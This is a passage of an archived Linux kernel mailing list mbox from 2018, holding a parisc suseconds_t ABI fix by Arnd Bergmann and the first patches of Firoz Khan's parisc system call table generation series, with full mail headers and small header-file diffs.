 a2M5MjwfCxmKZf3kVuratFLoVNZahhOfQlTbaeZcd521lrLk7bj9kdDXzxrgpNZTCvzCpib0w
 g6Gs5yY10bDavTcszEsg+5G9UxxK22wtEGB4oRaqkqvwVlWB7dr7tRXCzgWQHR3eINhD7EIQb
 att4oh/5imnZXLlwgQTQCW5Xh/2UKho53AUMd65POW1yC10/hpI1qfL+odft6cNWZMa9N6GnH
 64jlfJuDCw8IcYGUCaMjQWVkyNfmAl0v/Ycc2VN4ZIRAUg1iypDddl2teWnoPgtzI6uhcO9lf
 AauxF1XOQb+nQU6ygH3z5FBcfZTVNmXgW9EtZvGV2frrQTo5SLXQG58FIqAIIt0qAA7QEnc7o
 R5wt5Vb4ytYEkkZlEjm4Shr8MFKtDEFHS6xG6pH4y01pPuLrzIng9PNE0K/Vk9PTcju2GLxR0
 Yx0Mtx/HR5sFhUct9qf0sn/tbYpVYnJMW4BUvORV+f0tN9N0G0NvczQuiBLaeOfRg+0E=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2870112 gmane.linux.kernel.year-2038:3305 gmane.linux.ports.parisc:28935
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2870112>

There are only two 64-bit architecture ports that have a 32-bit
suseconds_t: sparc64 and parisc64. I've encountered a number of problems
with this, while trying to get a proper 64-bit time_t working on 32-bit
architectures. Having a 32-bit suseconds_t combined with a 64-bit time_t
means that we get extra padding in data structures that may leak kernel
stack data to user space, and it breaks all code that assumes that
timespec and timeval have the same layout.

While we can't change sparc64, it seems that glibc on parisc64 has always
set suseconds_t to 'long', and the current version would give incorrect
results for gettimeofday() and many other interfaces: timestamps passed
from user space into the kernel result in tv_usec being always zero
(the lower bits contain the intended value but are ignored) while data
passed from the kernel to user space contains either zeroes or random
data in tv_usec.

Based on that, it seems best to change the user API in the kernel in
an incompatible way to match what glibc expects.

Note that the distros I could find (gentoo and debian) all just
have 32-bit user space, which does not suffer from this problem.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/parisc/include/uapi/asm/posix_types.h | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/arch/parisc/include/uapi/asm/posix_types.h b/arch/parisc/include/uapi/asm/posix_types.h
index 2785632c85e7..8dce56f5dcee 100644
--- a/arch/parisc/include/uapi/asm/posix_types.h
+++ b/arch/parisc/include/uapi/asm/posix_types.h
@@ -16,9 +16,6 @@ typedef unsigned short		__kernel_mode_t;
 typedef unsigned short		__kernel_ipc_pid_t;
 #define __kernel_ipc_pid_t __kernel_ipc_pid_t
 
-typedef int			__kernel_suseconds_t;
-#define __kernel_suseconds_t __kernel_suseconds_t
-
 typedef long long		__kernel_off64_t;
 typedef unsigned long long	__kernel_ino64_t;
 
-- 
2.18.0



From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH 0/4] System call table generation support
Date: Fri, 14 Sep 2018 13:56:39 +0530
Lines: 83
Approved: news@gmane.org
Message-ID: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536913516 21086 195.159.176.226 (14 Sep 2018 08:25:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 08:25:16 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: Thibaut Varene <T-Bone@parisc-linux.org>,
        linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 14 10:25:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g0jPZ-0004yU-8B
	for glk-linux-kernel-4@m.gmane.org; Fri, 14 Sep 2018 10:25:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728073AbeINNkk (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 14 Sep 2018 09:40:40 -0400
Original-Received: from mail-pl1-f193.google.com ([209.85.214.193]:42785 "EHLO
        mail-pl1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726618AbeINNkk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 14 Sep 2018 09:40:40 -0400
Original-Received: by mail-pl1-f193.google.com with SMTP id g23-v6so3855967plq.9
        for <linux-kernel@vger.kernel.org>; Fri, 14 Sep 2018 01:27:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id;
        bh=xgvBC8CKG1XfG1Xc4QhAuPKleHXf+h1dW+V2YwUIXNQ=;
        b=LnaBsW3nSn2IUjm91vgdenzQLIs5ZjtTxknBqMYLu/jcUgPY8bN2+STD30sUfNot/M
         7+HwRKC7yA+Y2rVeCEeYs6BlumUAXTp4CupZ+dLbfwynbaiTIiEnc3aMPdUBhNMRJ54E
         5N9RrL0o3pX9a1h8fAR0kFsqGz0Avt3JFsl0M=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=xgvBC8CKG1XfG1Xc4QhAuPKleHXf+h1dW+V2YwUIXNQ=;
        b=qo2bQrhuNGiVKSqI4PMhThUUThGPvlAqhg5UCc1ptQ1DOINAQRDSRa9NVJ8sYGWXxU
         rFoVOZCfrRImgOr1SlHE2dFN9zZC7HugTTWRoCuK/d9xNf/s9aTuO51sJ+AQ0/SXlkc+
         J7aeUSrqk4YpXmIEfqU7RMcPsoK8Uoxt6HwgY/oBnkMblX87DH6JprxJcmFV2caQY7AM
         BbvrQQYEjmPw3soA9oLJnLL/zmQ8AvTnUIOJos5+hylM6X4K+QfEbHjlLxsN0d4/R/Ae
         q+ksXyXV91R7Ck6+ahoWHekQIGheB8Jfz0Jh4CVp5A/evmvMrdt2+a7xkN5XwdTZrRD6
         WtoQ==
X-Gm-Message-State: APzg51Dyl/Gmbt+Hh+TZPzPun7/p4gzIDzu+GVEoR6hVuGvuYzFyt9IT
        migMOd/Yc/6P+ntfF7hvdx40bg==
X-Google-Smtp-Source: ANB0VdZtUfZ9YP3G1yXOgcRtRXI2jOG8Ent5g9/NUjGF3o0xFgvufvXCN6f0uBnXlPtSGD7+PXVZDQ==
X-Received: by 2002:a17:902:e281:: with SMTP id cf1-v6mr11018070plb.86.1536913637608;
        Fri, 14 Sep 2018 01:27:17 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.60.83])
        by smtp.gmail.com with ESMTPSA id q80-v6sm8919855pfd.15.2018.09.14.01.27.11
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 14 Sep 2018 01:27:17 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2870553 gmane.linux.ports.parisc:28936 gmane.linux.kernel.year-2038:3306 gmane.linux.kernel.cross-arch:46409
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2870553>

The purpose of this patch series is:
1. We can easily add/modify/delete system call by changing entry 
in syscall.tbl file. No need to manually edit many files.

2. It is easy to unify the system call implementation across all 
the architectures. 

The system call tables are in different format in all architecture 
and it will be difficult to manually add or modify the system calls
in the respective files manually. To make it easy by keeping a script 
and which'll generate the header file and syscall table file so this 
change will unify them across all architectures.

syscall.tbl contains the list of available system calls along with 
system call number and corresponding entry point. Add a new system 
call in this architecture will be possible by adding new entry in 
the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
        - Compat entry name, if required.

ARM, s390 and x86 architecuture does exist the similar support. I 
leverage their implementation to come up with a generic solution.

I have done the same support for work for alpha, m68k, microblaze, 
ia64, mips, powerpc, sh, sparc, and xtensa. But I started sending 
the patch for one architecuture for review. Below mentioned git
repository contains more details.
Git repo:- https://github.com/frzkhn/system_call_table_generator/

Finally, this is the ground work for solving the Y2038 issue. We 
need to add/change two dozen of system calls to solve Y2038 issue. 
So this patch series will help to easily modify from existing 
system call to Y2038 compatible system calls.

I started working system call table generation on 4.17-rc1. I used 
marcin's script - https://github.com/hrw/syscalls-table to generate 
the syscall.tbl file. And this will be the input to the system call 
table generation script. But there are couple system call got add 
in the latest rc release. If run Marcin's script on latest release,
It will generate a new syscall.tbl. But I still use the old file - 
syscall.tbl and once all review got over I'll update syscall.tbl 
alone w.r.to the tip of the kernel. The impact of this thing, few 
of the system call won't work. 

Firoz Khan (4):
  parisc: Move __IGNORE* entries to non uapi header
  parisc: Replace __NR_Linux_syscalls macro with __NR_syscalls
  parisc: Add system call table generation support
  parisc: uapi header and system call table file generation

 arch/parisc/Makefile                       |   4 +
 arch/parisc/include/asm/Kbuild             |   3 +
 arch/parisc/include/asm/unistd.h           |   8 +
 arch/parisc/include/uapi/asm/Kbuild        |   2 +
 arch/parisc/include/uapi/asm/unistd.h      | 377 +----------------------
 arch/parisc/kernel/syscall.S               |  14 +-
 arch/parisc/kernel/syscall_table.S         | 459 -----------------------------
 arch/parisc/kernel/syscall_table_32.S      |  11 +
 arch/parisc/kernel/syscall_table_64.S      |  19 ++
 arch/parisc/kernel/syscalls/Makefile       |  52 ++++
 arch/parisc/kernel/syscalls/syscall_32.tbl | 358 ++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscall_64.tbl | 357 ++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh  |  38 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh  |  36 +++
 14 files changed, 896 insertions(+), 842 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscall_table_32.S
 create mode 100644 arch/parisc/kernel/syscall_table_64.S
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall_32.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscall_64.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

-- 
1.9.1



From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/4] parisc: Move __IGNORE* entries to non uapi header
Date: Fri, 14 Sep 2018 13:56:40 +0530
Lines: 57
Approved: news@gmane.org
Message-ID: <1536913603-4584-2-git-send-email-firoz.khan@linaro.org>
References: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536913522 21485 195.159.176.226 (14 Sep 2018 08:25:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 08:25:22 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: Thibaut Varene <T-Bone@parisc-linux.org>,
        linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 14 10:25:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g0jPf-0005RP-GO
	for glk-linux-kernel-4@m.gmane.org; Fri, 14 Sep 2018 10:25:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728170AbeINNkr (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 14 Sep 2018 09:40:47 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:33206 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727839AbeINNkq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 14 Sep 2018 09:40:46 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id d4-v6so3976975pfn.0
        for <linux-kernel@vger.kernel.org>; Fri, 14 Sep 2018 01:27:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=MZaHj8J1zXAeXdwHoWi62dASpANMGH5B+ollkuVTPh0=;
        b=ReRJhFlIE1rwNnRZhQTD256roF5vNFa0NoCjDeupyccqAHtW/xTlwy/deOZeKBnNpm
         cHN+u3uLhOdIC2PqRY4aswuk1u3o0WTg7+n60B2ujePxtWyvcoAjAEKBkTZ6dE1B+gcY
         q0gg4Y1AaODXRPg4rpkXKKlr8dgAQnnBKijRo=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=MZaHj8J1zXAeXdwHoWi62dASpANMGH5B+ollkuVTPh0=;
        b=a6I8pimtjH95j68sEAKnC6Pq3G/nlxyrlZKjkutkus3oR9IBtvEWbETjjB9Lp2MsM5
         ZDvk1hahf+cZ0P4vYK+KI6SQNWHBQPZhNCmM683WkhSPVtgmv1gm+zU+YuOdjoIphA2A
         ed2gxokWxGj2VDBE9XQ4BFLfQY5l6XLtmnDUsvp5nMn2We0L61DAfvJQgT4FzGGJ6DLX
         vtjt7G1PnD6yvVtMF2J1WmYwSRF+qc5OxepJNHOHS0v/Y1EReRGePBfguc+xR84UduQH
         CAF2qjhnKXNteohAFOkgaMsQs/mAJ5+n1P1j5Ye46PFA3GefmuFQC2sNL0dQBo7bbNmx
         pC1A==
X-Gm-Message-State: APzg51DYmR/7lAF7kXJcAPbSx583cw/8IiFyaJTur17cYreOUNG5/zph
        6WQkCZVCNl4ypGrsixAJuXKm/g==
X-Google-Smtp-Source: ANB0VdbYVQ4W0GG2SOkOP6lXPmKwjkET7v+QF0Jf2XeT1XXD0j2U6mmkUodMdO/fkd/yrdI9oXSPMA==
X-Received: by 2002:a63:e841:: with SMTP id a1-v6mr10537822pgk.126.1536913643788;
        Fri, 14 Sep 2018 01:27:23 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.60.83])
        by smtp.gmail.com with ESMTPSA id q80-v6sm8919855pfd.15.2018.09.14.01.27.17
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 14 Sep 2018 01:27:23 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2870554 gmane.linux.ports.parisc:28937 gmane.linux.kernel.year-2038:3307 gmane.linux.kernel.cross-arch:46410
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2870554>

All the  __IGNORE* entries are resides in the uapi header
file and it is not used by any user space applications.

One of the patch in this patch series will generate the
uapi header file and system call table file. So if we move
all the __IGNORE* entries to non uapi header, it will simplify
the uapi header and system call table file generation script.

It is correct to keep __IGNORE* entry in non uapi header
asm/unistd.h while uapi/asm/unistd.h must hold information
only useful for user space applications.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 6 ++++++
 arch/parisc/include/uapi/asm/unistd.h | 7 -------
 2 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3d507d0..fc71edf 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -165,6 +165,12 @@ type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5)	\
 #define __ARCH_WANT_SYS_CLONE
 #define __ARCH_WANT_COMPAT_SYS_SENDFILE
 
+#define __IGNORE_select		/* newselect */
+#define __IGNORE_fadvise64	/* fadvise64_64 */
+#define __IGNORE_pkey_mprotect
+#define __IGNORE_pkey_alloc
+#define __IGNORE_pkey_free
+
 #endif /* __ASSEMBLY__ */
 
 #undef STR
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index dc77c5a..bb52e12 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -368,13 +368,6 @@
 
 #define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
 
-
-#define __IGNORE_select		/* newselect */
-#define __IGNORE_fadvise64	/* fadvise64_64 */
-#define __IGNORE_pkey_mprotect
-#define __IGNORE_pkey_alloc
-#define __IGNORE_pkey_free
-
 #define LINUX_GATEWAY_ADDR      0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
-- 
1.9.1



From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH 2/4] parisc: Replace __NR_Linux_syscalls macro with __NR_syscalls
Date: Fri, 14 Sep 2018 13:56:41 +0530
Lines: 62
Approved: news@gmane.org
Message-ID: <1536913603-4584-3-git-send-email-firoz.khan@linaro.org>
References: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536913530 22018 195.159.176.226 (14 Sep 2018 08:25:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 08:25:30 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: Thibaut Varene <T-Bone@parisc-linux.org>,
        linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 14 10:25:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g0jPl-0005ZG-Jz
	for glk-linux-kernel-4@m.gmane.org; Fri, 14 Sep 2018 10:25:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728188AbeINNkw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 14 Sep 2018 09:40:52 -0400
Original-Received: from mail-pl1-f195.google.com ([209.85.214.195]:36171 "EHLO
        mail-pl1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728111AbeINNkw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 14 Sep 2018 09:40:52 -0400
Original-Received: by mail-pl1-f195.google.com with SMTP id p5-v6so3868655plk.3
        for <linux-kernel@vger.kernel.org>; Fri, 14 Sep 2018 01:27:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=zMC8k40pj5pQI2mZhgUNgHT0ATkeiBUzIOSkhSJbf2Y=;
        b=MkyDxRlpTE1z+sXJl9oJhjBkIroORjHP0+gcHo25E0eNQy+Chisu66VCFmPJX6ozic
         MBrt+uFcIYdHRy0vr/6IMkApBO6zX/WM5gDslHsAYQcflGmpH9tpsb6YYrYWGfd5ysQS
         op09IT3pdUzvAk58KtyuYH1qix1EK7CJsDgVM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=zMC8k40pj5pQI2mZhgUNgHT0ATkeiBUzIOSkhSJbf2Y=;
        b=r6fn3R/fiE3ZATEvQFrF46SaSdCx7LMa5xnEhsVNbdnfsyvFy0fZtR7cHCF4xoAPR0
         PeoTkvkay14WA44cIDtJmxkAJDfvWf+NCK+z8hGk6tusSoO8uzU4b/UNI6zP0fkd3nxh
         qQ9K8nQo8HRcF4kpLsqnTr28GZNhsqofLcq65wQLdHNbeZ8YYdOw24Omd2tdxXzz2ZVj
         bX5yXYLAmrQS7cOPCN/ZIkN5O1DIDeMFtTbtSid2tqy01f71+a1SYJTDjytd5KA+8YNW
         jIGX7j2MWweptSquGwl0e6Xp0LPwKkguOkuQ45mzCwI6GPCyp0KTcfw/S6H+DkN56xQ7
         4f/g==
X-Gm-Message-State: APzg51BPKYdwo7Veay5P6+Xhh05905/6Encchzi7Fc4oNK2bjr09Zkce
        /7fXRxNUDkcGOfcZPtsWC+dvLg==
X-Google-Smtp-Source: ANB0VdYfPSoSSRwXLVKQlieRirLVJWQ24chmiRdciEzFlWslpnUx7evuTJ3Bm5q1tJNUI56DF28oQA==
X-Received: by 2002:a17:902:e088:: with SMTP id cb8-v6mr10976530plb.189.1536913649809;
        Fri, 14 Sep 2018 01:27:29 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.60.83])
        by smtp.gmail.com with ESMTPSA id q80-v6sm8919855pfd.15.2018.09.14.01.27.24
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 14 Sep 2018 01:27:29 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2870555 gmane.linux.ports.parisc:28938 gmane.linux.kernel.year-2038:3308 gmane.linux.kernel.cross-arch:46411
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2870555>

__NR_Linux_syscalls macro holds the number of system call exist in
PARISC architecture. This macro is currently the part of uapi/asm/
unistd.h file. We have to change the value of __NR_Linux_syscalls,
if we add or delete a system call.

One of the patch in this patch series has a script which will generate
a uapi header based on syscall.tbl file. The syscall.tbl file contains
the number of system call information. So we have two option to update
__NR_Linux_syscalls value.

1. Update __NR_Linux_syscalls in uapi/asm/unistd.h manually by counting
   the no.of system calls. No need to update NR_syscalls until we
   either add a new system call or delete an existing system call.

2. We can keep this feature it above mentioned script, that'll
   count the number of syscalls and keep it in a generated file.
   In this case we don't need to explicitly update __NR_Linux_syscalls
   in asm/unistd.h file.

The 2nd option will be the recommended one. For that, I moved the
__NR_Linux_syscalls macro from uapi/asm/unistd.h to asm/unistd.h. The
macro name also changed form __NR_Linux_syscalls to __NR_syscalls for
making the name convention same across all architecture. While __NR_
syscalls isn't strictly part of the uapi, having it as part of the
generated header to simplifies the implementation.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 2 ++
 arch/parisc/include/uapi/asm/unistd.h | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index fc71edf..71417c1 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -8,6 +8,8 @@
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
+#define __NR_Linux_syscalls __NR_syscalls
+
 #ifndef ASM_LINE_SEP
 # define ASM_LINE_SEP ;
 #endif
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index bb52e12..7532817 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -366,7 +366,7 @@
 #define __NR_statx		(__NR_Linux + 349)
 #define __NR_io_pgetevents	(__NR_Linux + 350)
 
-#define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
+#define __NR_syscalls           (__NR_Linux + 351)
 
 #define LINUX_GATEWAY_ADDR      0x100
 
-- 
1.9.1



From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH 3/4] parisc: Add system call table generation support
Date: Fri, 14 Sep 2018 13:56:42 +0530
Lines: 924
Approved: news@gmane.org
Message-ID: <1536913603-4584-4-git-send-email-firoz.khan@linaro.org>
References: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536913537 22632 195.159.176.226 (14 Sep 2018 08:25:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 08:25:37 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: Thibaut Varene <T-Bone@parisc-linux.org>,
        linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 14 10:25:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g0jPu-0005iV-1d
	for glk-linux-kernel-4@m.gmane.org; Fri, 14 Sep 2018 10:25:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728257AbeINNlB (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 14 Sep 2018 09:41:01 -0400
Original-Received: from mail-pl1-f194.google.com ([209.85.214.194]:38871 "EHLO
        mail-pl1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728229AbeINNlA (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 14 Sep 2018 09:41:00 -0400
Original-Received: by mail-pl1-f194.google.com with SMTP id u11-v6so3870449plq.5
        for <linux-kernel@vger.kernel.org>; Fri, 14 Sep 2018 01:27:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
